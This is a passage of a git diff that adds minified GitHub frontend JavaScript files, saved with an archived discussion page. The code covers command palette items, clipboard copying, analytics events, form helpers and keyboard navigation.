b=D.querySelector(".Toast-content");b.textContent=h,D.hidden=!1,setTimeout(()=>{D.hidden=!0},g)}},"CommandPalette");T.tagName="command-palette",t([d.Lj],T.prototype,"returnTo",2),t([d.Lj],T.prototype,"userId",2),t([d.Lj],T.prototype,"activationHotkey",2),t([d.Lj],T.prototype,"commandModeHotkey",2),t([d.fA],T.prototype,"pageStack",2),t([d.GO],T.prototype,"clientDefinedProviderElements",2),t([d.GO],T.prototype,"serverDefinedProviderElements",2),t([(0,o.D)(250)],T.prototype,"clearCommands",1),T=t([d.Ih],T)},39200:(y,v,a)=>{a.d(v,{O:()=>s});var d=a(90420),_=a(38772),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends HTMLElement{constructor(){super(...arguments);this.groupLimits="",this.defaultPriority=0,this.skipTemplate=!1}connectedCallback(){this.classList.add("py-2","border-top"),this.setAttribute("hidden","true"),this.skipTemplate||this.renderElement(""),this.skipTemplate=!0}prepareForNewItems(){this.list.innerHTML="",this.setAttribute("hidden","true"),this.classList.contains("border-top")||this.classList.add("border-top")}hasItem(o){return this.list.querySelectorAll(`[data-item-id="${o.id}"]`).length>0}renderElement(o){const i=f(()=>this.hasTitle?_.dy` +

    +
    + `:_.dy` +
    + `,"groupTemplate");(0,_.sY)(i(),this)}push(o){this.removeAttribute("hidden"),this.topGroup&&this.atLimit?o.itemId!==this.firstItem.itemId&&this.replaceTopGroupItem(o):this.list.append(o)}replaceTopGroupItem(o){this.list.replaceChild(o,this.firstItem)}groupLimitForScope(){const o=this.closest("command-palette");if(o){const i=o.query.scope.type;return JSON.parse(this.groupLimits)[i]}}get limit(){const o=this.groupLimitForScope();return this.topGroup?1:this.isModeActive()?50:o||s.defaultGroupLimit}get atLimit(){return this.list.children.length>=this.limit}parsedGroupLimits(){return this.groupLimits?JSON.parse(this.groupLimits):{}}limitForScopeType(o){const c=this.parsedGroupLimits()[o];return this.topGroup?1:this.isModeActive()?s.activeModeLimit:c||c===0?c:s.defaultGroupLimit}atLimitForScopeType(o){return this.list.children.length>=this.limitForScopeType(o)}isModeActive(){const o=this.closest("command-palette");return o?o.getMode():!1}get topGroup(){return this.groupId===s.topGroupId}get hasTitle(){return this.groupId!==s.footerGroupId&&this.groupId!==s.defaultGroupId}get itemNodes(){return this.list.querySelectorAll("command-palette-item")}get firstItem(){return this.itemNodes[0]}get lastItem(){return this.itemNodes[this.itemNodes.length-1]}},"CommandPaletteItemGroupElement");s.defaultGroupLimit=5,s.activeModeLimit=50,s.topGroupId="top",s.defaultGroupId="default",s.footerGroupId="footer",s.helpGroupIds=["modes_help","filters_help"],s.commandGroupIds=["commands"],s.topGroupScoreThreshold=9,l([d.Lj],s.prototype,"groupTitle",2),l([d.Lj],s.prototype,"groupHint",2),l([d.Lj],s.prototype,"groupId",2),l([d.Lj],s.prototype,"groupLimits",2),l([d.Lj],s.prototype,"defaultPriority",2),l([d.Lj],s.prototype,"skipTemplate",2),l([d.fA],s.prototype,"list",2),l([d.fA],s.prototype,"header",2),s=l([d.Ih],s)},47779:(y,v,a)=>{a.d(v,{v:()=>n});var d=a(90420),_=a(38772),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((t,p,u,E)=>{for(var O=E>1?void 0:E?r(p,u):p,M=t.length-1,T;M>=0;M--)(T=t[M])&&(O=(E?T(p,u,O):T(O))||O);return E&&O&&m(p,u,O),O},"__decorateClass");const s=14,o=20,i=20,c=55;let n=f(class extends HTMLElement{constructor(){super(...arguments);this.smallDisplay=!1}connectedCallback(){this.classList.add("d-inline-flex")}get lastToken(){return this.tokens[this.tokens.length-1]}get text(){return this.tokens.map(t=>t.text).join("/")}get id(){return this.lastToken?this.lastToken.id:n.emptyScope.id}get type(){return this.lastToken?this.lastToken.type:n.emptyScope.type}get scope(){return this.hasScope()?{text:this.text,type:this.type,id:this.id,tokens:this.tokens}:n.emptyScope}set scope(t){this.renderTokens(t.tokens)}renderTokens(t){this.clearScope();let p=0,u=t.length;const E=this.smallDisplay?s:i,O=this.smallDisplay?o:c;for(let e=t.length-1;e>=0&&!(p+Math.min(t[e].text.length,E)+5>O);e--)p+=Math.min(t[e].text.length,E)+5,u=e;const M=f(e=>_.dy`${e.map(T)}`,"tokensTemplate"),T=f((e,h)=>{const g=e.text.length>E?`${e.text.substring(0,E-3)}...`:e.text;return _.dy` + + `},"tokenTemplate");(0,_.sY)(M(t),this),this.hidden=!this.hasScope(),u!==0&&(this.placeholder.hidden=!1)}removeToken(){this.lastToken&&(this.lastRemovedToken=this.lastToken,this.lastToken.remove(),this.renderTokens(this.tokens))}hasScope(){return this.tokens.length>0&&this.type&&this.id&&this.text}clearScope(){for(const t of this.tokens)t.remove();this.placeholder.hidden=!0}attributeChangedCallback(t,p,u){!this.isConnected||t==="data-small-display"&&p!==u&&this.renderTokens(this.tokens)}},"CommandPaletteScopeElement");n.emptyScope={type:"",text:"",id:"",tokens:[]},n.observedAttributes=["data-small-display"],l([d.Lj],n.prototype,"smallDisplay",2),l([d.fA],n.prototype,"placeholder",2),l([d.GO],n.prototype,"tokens",2),n=l([d.Ih],n)},76168:(y,v,a)=>{a.d(v,{z:()=>m});function d(r){const l=document.createElement("pre");return l.style.width="1px",l.style.height="1px",l.style.position="fixed",l.style.top="5px",l.textContent=r,l}f(d,"createNode");function _(r){if("clipboard"in navigator)return navigator.clipboard.writeText(r.textContent||"");const l=getSelection();if(l==null)return Promise.reject(new Error);l.removeAllRanges();const s=document.createRange();return s.selectNodeContents(r),l.addRange(s),document.execCommand("copy"),l.removeAllRanges(),Promise.resolve()}f(_,"copyNode");function m(r){if("clipboard"in navigator)return navigator.clipboard.writeText(r);const l=document.body;if(!l)return Promise.reject(new Error);const s=d(r);return l.appendChild(s),_(s),l.removeChild(s),Promise.resolve()}f(m,"copyText")},81072:(y,v,a)=>{a.d(v,{i:()=>s});var d=a(64465),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.g{activate(o,i){i instanceof PointerEvent?super.activate(o,i):i instanceof KeyboardEvent&&this.activateLinkBehavior(o,i,(0,d.o)(i))}get key(){return this.title}},"AccessPolicyItem");s=l([_.O],s)},68313:(y,v,a)=>{a.d(v,{d:()=>s});var d=a(4220),_=a(88513),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.g{constructor(o){super(o);this.typeahead=o.title,this.group="commands"}get action(){return this._action}async activate(o){super.activate(o);const i=o.getAttribute("data-commands-path");if(!i)return;const c=o.query.params();c.set("command",this.action.id),o.commandPaletteInput.loading=!0;const n=await(0,_.Q)(i,{method:"POST",body:c});if(o.commandPaletteInput.loading=!1,n.ok){const t=await n.json();this.handleResponse(o,t.action,t.arguments)}else o.displayFlash("error","Failed to run command")}handleResponse(o,i,c){switch(i){case"displayFlash":o.displayFlash(c.type,c.message),o.dismiss();break}}},"CommandItem");s=l([d.O],s)},96753:(y,v,a)=>{a.d(v,{Z:()=>s});var d=a(4220),_=a(76168),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.g{constructor(o){super(o);this.priority=11,this.score=1,this.typeahead=o.title,this.group="commands"}get action(){return this._action}async activate(o){super.activate(o);try{await(0,_.z)(this.action.text),o.displayFlash("success",this.action.message),o.dismiss()}catch{o.displayFlash("error","Copy failed")}}},"CopyableItem");s=l([d.O],s)},8665:(y,v,a)=>{a.d(v,{B:()=>l});var d=a(4220),_=Object.defineProperty,m=Object.getOwnPropertyDescriptor,r=f((s,o,i,c)=>{for(var n=c>1?void 0:c?m(o,i):o,t=s.length-1,p;t>=0;t--)(p=s[t])&&(n=(c?p(o,i,n):p(n))||n);return c&&n&&_(o,i,n),n},"__decorateClass");let l=f(class extends d.g{static from(s){return new l({title:s.title,typeahead:"",priority:-10-s.index,score:-10,group:s.group,action:{type:"help",description:"",prefix:s.prefix},persistentHint:s.persistentHint})}constructor(s){super(s);this.persistentHint=s.persistentHint}activate(s,o){s.commandPaletteInput.inputValue=this.action.prefix+s.getTextWithoutMode()}autocomplete(s){s.commandPaletteInput.inputValue=this.action.prefix+s.getTextWithoutMode()}calculateScore(s){return 0}get action(){return this._action}},"HelpItem");l=r([d.O],l)},98810:(y,v,a)=>{a.d(v,{s:()=>s});var d=a(64465),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.g{static from(o){return new s({title:o.title,typeahead:o.title,priority:1,score:1,group:o.group,action:{type:"jump_to",description:"",path:o.path},icon:{type:"octicon",id:o.icon}})}activate(o,i){i instanceof PointerEvent?super.activate(o,i):i instanceof KeyboardEvent&&this.activateLinkBehavior(o,i,(0,d.o)(i))}copy(o){super.copy(o);const i=new URL(this.action.path,window.location.origin);return this.copyToClipboardAndAnnounce(i.toString()),i.toString()}get key(){return`${super.key}/${this.action.path}`}get action(){return this._action}},"JumpToItem");s=l([_.O],s)},28760:(y,v,a)=>{a.d(v,{V:()=>s});var d=a(98810),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.s{},"JumpToOrgItem");s=l([_.O],s)},3991:(y,v,a)=>{a.d(v,{W:()=>s});var d=a(98810),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.s{},"JumpToTeamItem");s=l([_.O],s)},77417:(y,v,a)=>{a.d(v,{U:()=>_});var d=a(33241);class _ extends d.ck{constructor(r,l){super({title:(s=l.title)!=null?s:r.title,subtitle:(o=l.subtitle)!=null?o:r.subtitle,typeahead:(i=l.title)!=null?i:r.title,priority:(c=l.priority)!=null?c:r.priority,group:(n=l.group)!=null?n:r.group,icon:{type:(t=l.iconType)!=null?t:r.iconType,id:(p=l.icon)!=null?p:r.icon},hint:"Run command"});var s,o,i,c,n,t,p;this.command=r}get path(){}copy(r){}activate(r){this.command.run(r),this.command.dismissAfterRun&&r.dismiss()}isApplicable(r){return this.command.isApplicable(r)}select(r){this.command.select?this.command.select(r):r.autocomplete(this)}}f(_,"MainWindowCommandItem")},31411:(y,v,a)=>{a.d(v,{K:()=>o});var d=a(4220),_=a(39200),m=a(98810),r=Object.defineProperty,l=Object.getOwnPropertyDescriptor,s=f((i,c,n,t)=>{for(var p=t>1?void 0:t?l(c,n):c,u=i.length-1,E;u>=0;u--)(E=i[u])&&(p=(t?E(c,n,p):E(p))||p);return t&&p&&r(c,n,p),p},"__decorateClass");let o=f(class extends m.s{static create(i){let c,n;const t=[...i.scope.tokens];for(;t.length>0&&!this.searchableScopeTypes.includes(t[t.length-1].type);)t.pop();let p;if(t.length>0?p=t[t.length-1]:p=void 0,p&&p.type==="repository"){const u=t.map(E=>E.text).join("/");c=`in ${u}`,n=`/${u}/search?q=${i.text}`}else if(p&&p.type==="owner"){const u=`org:${p.text} ${i.text}`;c=`in ${p.text}`,n=`/search?q=${u}`}else c="across all of GitHub",n=`/search?q=${i.text}`;return new o({title:`Search ${i.text}${c}`,typeahead:"",priority:-10,score:-10,group:_.O.footerGroupId,action:{type:"jump_to",description:"",path:n},icon:{type:"octicon",id:"search-color-fg-muted"},titleScope:c})}constructor(i){super(i);this.titleScope=i.titleScope}autocomplete(i){}calculateScore(i){return 0}},"SearchLinkItem");o.searchableScopeTypes=["owner","repository"],o=s([d.O],o)},4220:(y,v,a)=>{a.d(v,{O:()=>m,g:()=>l});var d=a(33241),_=a(39200);function m(s){l.register(s)}f(m,"serverDefinedItem");const r=f(class extends d.ck{constructor(s){super(s);this.position="",this.score=s.score,this.scope=s.scope,this.matchFields=s.match_fields,this._action=s.action}static register(s){this.itemClasses[s.itemType]=s}static get itemType(){return this.buildItemType(this.name)}static buildItemType(s){return s.replace(/([A-Z]($|[a-z]))/g,"_$1").replace(/(^_|_Item$)/g,"").toLowerCase()}static build(s){const o=this.itemClasses[s.action.type];if(o)return new o(s);throw new Error(`No item handler for ${s.action.type}`)}get action(){return this._action}get key(){return`${this.action.type}/${this.title}/${this.group}`}get path(){return this.action.path||""}get itemType(){return r.buildItemType(this.constructor.name)}select(s){this.scope?s.setScope(this.scope):s.autocomplete(this)}activate(s,o){}activateLinkBehavior(s,o,i){var c;(c=this.element)==null||c.activateLinkBehavior(s,o,i)}copy(s){}copyToClipboardAndAnnounce(s,o){var i;(i=this.element)==null||i.copyToClipboardAndAnnounce(s,o)}},"_ServerDefinedItem");let l=r;l.itemClasses={},l.defaultData={title:"",score:1,priority:1,action:{type:"",path:""},icon:{type:"octicon",id:"dash-color-fg-muted"},group:_.O.defaultGroupId}},85678:(y,v,a)=>{a.d(v,{j:()=>d});class d{constructor(m){this.title=m.title,this.scopeId=m.scopeId,this.scopeType=m.scopeType}get providers(){const m=[];for(const r of this._providerElements)r.provider&&m.push(r.provider);return m}get _providerElements(){return[...this.serverDefinedProviderElements,...this.clientDefinedProviderElements]}get serverDefinedProviderElements(){const m=document.querySelectorAll("server-defined-provider");return Array.from(m)}get clientDefinedProviderElements(){const m=document.querySelectorAll("client-defined-provider");return Array.from(m)}}f(d,"GlobalProvidersPage")},23207:(y,v,a)=>{a.d(v,{b:()=>d});class d extends HTMLElement{async fetchWithDebounce(m,r){return this.provider?(this._lastFetchQuery=m,await this.delay(this.provider.debounce),this._lastFetchQuery!==m?{results:[]}:this.provider.fetch(m,r)):{results:[]}}delay(m){return new Promise(r=>setTimeout(r,m))}}f(d,"ProviderElement")},78078:(y,v,a)=>{a.d(v,{B:()=>_});var d=a(33241);class _ extends d.BX{fuzzyFilter(r,l,s=0){if(l.isBlank())return r;const o=[];for(const i of r)i.calculateScore(l.text)>s&&o.push(i);return o}}f(_,"ProviderBase")},78584:(y,v,a)=>{a.d(v,{j:()=>_});var d=a(78078);class _ extends d.B{constructor(r){super();this.element=r}get type(){return this.element.type}get modes(){return this.element.modes}get debounce(){return this.element.debounce}get scopeTypes(){return this.element.scopeTypes}get src(){return this.element.src}get hasWildCard(){return this.element.hasWildCard}get hasCommands(){return this.element.hasCommands}fetch(r,l){throw new Error("Method not implemented.")}enabledFor(r){throw new Error("Method not implemented.")}clearCache(){throw new Error("Method not implemented.")}}f(_,"ServerDefinedProvider")},80829:(y,v,a)=>{a.d(v,{A:()=>_});var d=a(47779);class _{constructor(r,l,{scope:s,subjectId:o,subjectType:i,returnTo:c}={}){this.queryText=r,this.queryMode=l,this.scope=s!=null?s:d.v.emptyScope,this.subjectId=o,this.subjectType=i,this.returnTo=c}get text(){return this.queryText}get mode(){return this.queryMode}get path(){return this.buildPath(this)}buildPath(r,l=r.text){return`scope:${r.scope.type}-${r.scope.id}/mode:${r.mode}/query:${l}`}clearScope(){this.scope=d.v.emptyScope}hasScope(){return this.scope.id!==d.v.emptyScope.id}isBlank(){return this.text.trim().length===0}isPresent(){return!this.isBlank()}immutableCopy(){const r=this.text,l=this.mode,s={...this.scope};return new _(r,l,{scope:s,subjectId:this.subjectId,subjectType:this.subjectType,returnTo:this.returnTo})}hasSameScope(r){return this.scope.id===r.scope.id}params(){const r=new URLSearchParams;return this.isPresent()&&r.set("q",this.text),this.hasScope()&&r.set("scope",this.scope.id),this.mode&&r.set("mode",this.mode),this.returnTo&&r.set("return_to",this.returnTo),this.subjectId&&r.set("subject",this.subjectId),r}}f(_,"Query")},72017:(y,v,a)=>{a.d(v,{j:()=>i});var d=a(81072),_=a(68313),m=a(96753),r=a(98810),l=a(77417),s=a(4220),o=a(30481);function i(n,t){const p=document.querySelector("command-palette");let u="";t&&(t.group==="commands"||t.group==="global_commands")&&(u=t.title);const E={command_palette_session_id:p.sessionId,command_palette_scope:p.query.scope.type,command_palette_mode:p.getMode(),command_palette_title:u,command_palette_position:t==null?void 0:t.position,command_palette_score:t==null?void 0:t.score,command_palette_group:t==null?void 0:t.group,command_palette_item_type:t instanceof s.g?t==null?void 0:t.itemType:t==null?void 0:t.constructor.name};let O;n==="activate"?O=c(t):O=n,(0,o.q)(`command_palette_${O}`,E)}f(i,"sendTrackingEvent");function c(n){var t;return n instanceof d.i?"access_policy_executed":n instanceof _.d||n instanceof l.U||n instanceof m.Z?"command_executed":n instanceof r.s?((t=n.element)==null?void 0:t.newTabOpened)?"jump_to_new_tab":"jump_to":"activate"}f(c,"activateTrackingEventType")},49815:(y,v,a)=>{a.d(v,{$:()=>s,c:()=>r});var d=a(15205);const _=(0,d.Z)(m);function m(){var o,i;return(((i=(o=document.head)==null?void 0:o.querySelector('meta[name="enabled-features"]'))==null?void 0:i.content)||"").split(",")}f(m,"enabledFeatures");const r=(0,d.Z)(l);function l(o){return _().indexOf(o)!==-1}f(l,"isEnabled");const s={isFeatureEnabled:r}},30481:(y,v,a)=>{a.d(v,{Y:()=>o,q:()=>i});var d=a(88149),_=a(86058);const m="dimension_";let r;const l=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const c=(0,d.n)("octolytics");delete c.baseContext,r=new _.R(c)}catch{}function s(c){const n=(0,d.n)("octolytics").baseContext||{};if(n){delete n.app_id,delete n.event_url,delete n.host;for(const u in n)u.startsWith(m)&&(n[u.replace(m,"")]=n[u],delete n[u])}const t=document.querySelector("meta[name=visitor-payload]");if(t){const u=JSON.parse(atob(t.content));Object.assign(n,u)}const p=new URLSearchParams(window.location.search);for(const[u,E]of p)l.includes(u.toLowerCase())&&(n[u]=E);return Object.assign(n,c)}f(s,"extendBaseContext");function o(c){r==null||r.sendPageView(s(c))}f(o,"sendPageView");function i(c,n){var t,p;const u=(p=(t=document.head)==null?void 0:t.querySelector('meta[name="current-catalog-service"]'))==null?void 0:p.content,E=u?{service:u}:{};for(const[O,M]of Object.entries(n))M!=null&&(E[O]=`${M}`);r==null||r.sendEvent(c||"unknown",s(E))}f(i,"sendEvent")},88513:(y,v,a)=>{a.d(v,{Q:()=>d,v:()=>_});function d(m,r={}){if(m.match(/^https?:/))throw new Error("Can not make cross-origin requests from verifiedFetch");const l={...r.headers,"GitHub-Verified-Fetch":"true","X-Requested-With":"XMLHttpRequest"};return fetch(m,{...r,headers:l})}f(d,"verifiedFetch");function _(m,r){var l;const o={...(l=r==null?void 0:r.headers)!=null?l:{},Accept:"application/json","Content-Type":"application/json"},i=(r==null?void 0:r.body)?JSON.stringify(r.body):void 0;return d(m,{...r,body:i,headers:o})}f(_,"verifiedFetchJSON")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd-a2f1fe6aff70.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container 